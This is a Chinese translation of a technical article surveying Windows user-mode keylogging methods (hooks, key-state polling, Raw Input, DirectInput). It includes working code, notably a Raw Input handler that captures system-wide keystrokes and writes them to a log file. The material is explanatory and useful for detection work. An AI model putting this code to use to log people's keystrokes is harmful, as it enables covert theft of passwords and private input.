Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Windows 键盘记录器 part1:应用层方法

$
0
0
【技术分享】windows 键盘记录器 part1:应用层方法

2017-07-10 14:05:52

阅读:425次
点赞(0)
收藏
来源: eyeofrablog.wordpress.com





【技术分享】Windows 键盘记录器 part1:应用层方法

作者:myswsun





【技术分享】Windows 键盘记录器 part1:应用层方法

译者:myswsun

预估稿费:80RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

正如我们所知,键盘记录器是被恶意软件广泛使用的一种技术。本文是第一部分,我将列出一些Windows应用层常见的键盘记录的方式(不是全部)。

下面是本文提到的一些方法:

1. Windows钩子(SetWindowsHookEx)

2. Windows轮询(GetAsyncKeyState、GetKeyBoardState)

3. raw input

4. direct input


0x01 SetWindowsHookEx

这是最常见的技术。使用SetWindowsHookEx向Windows的消息钩子链中注册一个预定义的函数。有非常多的消息类型,其中两种用于键盘记录:

g_hHook=SetWindowsHookEx(m_bLowLevelKeyboard==true?WH_KEYBOARD_LL:WH_KEYBOARD,m_bLowLevelKeyboard?LowLevelKeyboardProc:KeyboardProc,g_hModule,m_ThreadId);

在回调函数中,我们将接收KeyboardProc的wParam中的虚拟键码和LowLevelKeyboardProc的KBDLLHOOKSTRUCT.vkCode(wParam指向KBDLLHOOKSTRUCT)。

如果m_ThreadId = 0,则消息钩子是全局消息钩子。针对全局消息钩子,你必须将回调函数置于dll中,并且需要编写2个dll来分别处理x86/x64进程。

针对底层键盘钩子,SetWindowsHookEx的HMod参数可以为NULL或者本进程加载的模块(我测试了user32,ntdll)。

WH_KEYBOARD_LL不需要dll中的回调函数,并且能适应x86/x64进程。

WH_KEYBOARD需要两个版本的dll,分别处理x86/x64。但是如果使用x86版本的全局消息钩子,所有的x64线程仍被标记为“hooked”,并且系统在钩子应用上下文执行钩子。类似的,如果是x64,所有的32位的进程将使用x64钩子应用的回调函数。这就是为什么安装钩子的线程必须要有一个消息循环。


0x02 GetAsuncKeyState

使用GetAsyncKeyState查询每个键的状态是一种经典的方法。这需要一个死循环来轮询键盘状态,这将导致CPU异常。


【技术分享】Windows 键盘记录器 part1:应用层方法

0x03 GetKeyboardState

和GetAsyncKeyState类似,GetKeyBoardState能一次得到所有的键的状态。不同的是当键盘消息从调用进程的消息队列中移除时,GetKeyBoardState只会改变状态。这意味着它不是全局钩子,除非我们使用AttachThreadInput函数来共享键盘状态。


【技术分享】Windows 键盘记录器 part1:应用层方法

0x04 Raw Input

微软原始输入介绍:


【技术分享】Windows 键盘记录器 part1:应用层方法

因此,使用原始输入,我们必须通过RegisterRawInputDevices()函数注册一个输入设备。在那之后,在消息循环中能通过WM_INPUT得到数据。下面是注册设备并获取数据的代码:

switch(message) { caseWM_CREATE: { if(lParam) { CREATESTRUCT*lpCreateStruct=(CREATESTRUCT*)lParam; if(lpCreateStruct->lpCreateParams) ::SetWindowLong(hWnd,GWL_USERDATA,reinterpret_cast<long>(lpCreateStruct->lpCreateParams)); } RAWINPUTDEVICErid; //registerinterestinrawdata rid.dwFlags=RIDEV_NOLEGACY|RIDEV_INPUTSINK;//ignorelegacymessagesandreceivesystemwidekeystrokes rid.usUsagePage=1;//rawkeyboarddataonly rid.usUsage=6; rid.hwndTarget=hWnd; RegisterRawInputDevices(&rid,1,sizeof(rid)); break; } caseWM_INPUT: { UINTdwSize; if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,NULL,&dwSize,sizeof(RAWINPUTHEADER))==-1){ break; } LPBYTElpb=newBYTE[dwSize]; if(lpb==NULL){ break; } if(GetRawInputData((HRAWINPUT)lParam,RID_INPUT,lpb,&dwSize,sizeof(RAWINPUTHEADER))!=dwSize){ delete[]lpb; break; } PRAWINPUTraw=(PRAWINPUT)lpb; UINTEvent; WCHARszOutput[128]; CHARkeyChar; StringCchPrintf(szOutput,STRSAFE_MAX_CCH,TEXT("Kbd:make=%04xFlags:%04xReserved:%04xExtraInformation:%08x,msg=%04xVK=%04x\n"), raw->data.keyboard.MakeCode, raw->data.keyboard.Flags, raw->data.keyboard.Reserved, raw->data.keyboard.ExtraInformation, raw->data.keyboard.Message, raw->data.keyboard.VKey); Event=raw->data.keyboard.Message; keyChar=MapVirtualKeyA(raw->data.keyboard.VKey,MAPVK_VK_TO_CHAR); delete[]lpb;//freethisnow //readkeyonceonkeydowneventonly if(Event==WM_KEYDOWN) { if(keyChar>32) {//anythingbelowspacebarotherthanbackspace,taborenterweskip if((keyChar!=8)&&(keyChar!=9)&&(keyChar!=13)) break; } if(keyChar>126) //anythingabove~weskip break; //writetologfile CRawInputKeylog*lpCRawInputKeylog=reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd,GWL_USERDATA)); if(lpCRawInputKeylog) { DWORDbyteWritten=0; WriteFile(lpCRawInputKeylog->m_hFile,&keyChar,sizeof(keyChar),&byteWritten,NULL); } } break; } }

0x05 Direct Input

最后一个方法是现实中比较少见的一种技术。直接输入是微软DrirectX库的一个函数,能被用来得到键盘的状态。

HRESULThr; hr=DirectInput8Create(g_hModule,DIRECTINPUT_VERSION,IID_IDirectInput8,(void**)&m_din,NULL); hr=m_din->CreateDevice(GUID_SysKeyboard,&m_dinkbd,NULL); hr=m_dinkbd->SetDataFormat(&c_dfDIKeyboard); hr=m_dinkbd->SetCooperativeLevel(m_hWnd,DISCL_NONEXCLUSIVE|DISCL_BACKGROUND);

DirectInput8Create创建一个DirectX对应版本的DirectInput对象。我们能创建一个输入设备的类型的设备,然后设置我们想要的数据格式。以DISCL_NONEXCLUSIVE | DISCL_BACKGROUND为参数调用SetCooperativeLevel()能确保全局模式。

使用下面代码得到键盘状态:

BYTEkeystate[256]={0}; lpCDirectInputKeylog->m_dinkbd->Acquire(); lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256,keystate); GetDeviceState()返回256个键盘扫描码的状态。我们使用MapVirtualKey将扫描码转化为虚拟键。 UINTvirKey=MapVirtualKeyA(i,MAPVK_VSC_TO_VK_EX);

0x06 总结

最终,我们总结下用户模式键盘记录技术:


【技术分享】Windows 键盘记录器 part1:应用层方法

0x07 参考

MSDN

https://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT

https://wikileaks.org/ciav7p1/cms/page_3375220.html

https://securelist.com/analysis/publications/36138/keyloggers-how-they-work-and-how-to-detect-them-part-1/

https://securelist.com/analysis/publications/36358/keyloggers-implementing-keyloggers-in-windows-part-two/





【技术分享】Windows 键盘记录器 part1:应用层方法
【技术分享】Windows 键盘记录器 part1:应用层方法
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://eyeofrablog.wordpress.com/2017/06/11/windows-keylogger-part-1-attack-on-user-land/

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images